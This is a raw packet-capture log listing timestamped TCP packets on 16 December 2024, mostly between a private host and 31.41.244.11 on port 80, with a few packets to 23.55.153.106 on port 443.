Dec 16, 2024 09:01:32.876041889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.876749039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.876801968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.876837969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.876883030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.877432108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.877477884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.877513885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.877563000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.878249884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.878295898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.878338099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.878381014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884212017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884262085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884296894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884330034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884334087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884366989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884368896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884397030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884402990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884411097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884438038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884471893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884489059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884505987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884510994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884540081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884548903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884573936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884583950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884607077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884640932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884664059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884679079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884691954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.884921074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.884973049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.885016918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.885061026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.885713100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.885823965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.885873079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.886524916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.886574984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.886641979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.886687994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.887377977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.887438059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.887497902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.887547016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.888171911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.888231039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.888336897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.888410091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.889003992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.889055967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.889125109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.889173985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.889863014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.889914036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.889955044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.890006065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.890681982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.890727997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.890763998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.890811920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.891526937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.891652107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.891705036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.892337084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.892389059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.892554998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.892605066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.893168926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.893218994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.893295050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.893342972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.894026995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.894078970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.894220114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.894268036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.894913912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.895040035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.895092010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.895633936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.895792961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.895843983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.896522045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.896570921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.896629095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.896682024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.897314072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.897365093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.897398949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.898119926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.898176908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.898241997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.898293972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.898947001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.898998976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.899055004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.899104118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.899792910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.899846077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.899920940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.899969101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.900106907 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:32.900604963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.900742054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.900779963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.900796890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.901495934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.901585102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.901602030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.901632071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.902252913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.902311087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.902354956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.902409077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.903135061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.903186083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.903249979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.903297901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.904078960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.904197931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.904284000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.905077934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.905133963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.905180931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.905234098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.905843973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.905898094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.906008005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.906059980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.906953096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.907017946 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:32.907030106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.907084942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.907128096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.907655001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.907704115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.907706022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.907757044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.908339977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.908390999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.947340965 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.056881905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.056909084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.056972027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.057121038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.057176113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.057307959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.057357073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.057974100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.058085918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.058090925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.058154106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.058816910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.058917046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.058974981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.059643984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.059725046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.059775114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.060467005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.060518026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.060600996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.060655117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.061271906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.061321974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.061372995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.061423063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.062217951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.062268019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.062402964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.063457966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.063508034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.063530922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.063577890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.064315081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.064366102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.064435005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.064485073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.064994097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.065042019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.065114975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.065161943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.065771103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.065856934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.065902948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.066606998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.066658974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.066706896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.066756964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.067286015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.067332029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.067389011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.067440033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.068016052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.068063974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.068068981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.068114042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.068715096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.068764925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.068842888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.068892002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.069565058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.069612026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.069645882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.069696903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.070445061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.070497036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.070564985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.070615053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.071281910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.071350098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.071417093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.072047949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.072097063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.072191000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.072238922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.072997093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.073045969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.073050976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.073093891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.073760033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.073808908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.073889017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.073936939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.074604034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.074738026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.074786901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.075433016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.075496912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.075565100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.075613022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.076157093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.076204062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.076278925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.076322079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.077039957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.077088118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.077167988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.077214956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.077980995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.078102112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.078147888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.078789949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.078856945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.078896999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.078938007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.079534054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.079587936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.079596996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.079633951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.080329895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.080383062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.080457926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.080512047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.081140995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.081191063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.081238985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.081286907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.082015991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.082067966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.082108021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.082405090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.082762003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.082813978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.082892895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.083380938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.083622932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.083676100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.083750963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.083800077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.084422112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.084470987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.084536076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.084579945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.085294962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.085340023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.085377932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.085422039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.086186886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.086237907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.086241961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.086286068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.086994886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.087069035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.087115049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.087829113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.087965965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.088026047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.088692904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.088746071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.088745117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.088789940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.089375019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.089493036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.089545965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.090199947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.090260983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.090322018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.090533018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.091053009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.091173887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.091223955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.091871977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.091922045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.091974020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.092021942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.092744112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.092798948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.092803001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.092845917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.093990088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.094039917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.094119072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.094331026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.094361067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.094376087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.094445944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.094492912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.095180988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.095237970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.095299006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.095366001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.095998049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.096117020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.096169949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.096885920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.096931934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.096960068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.097002983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.097753048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.097800970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.097832918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.097878933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.098546982 CET	80	49866	31.41.244.11	192.168.2.5
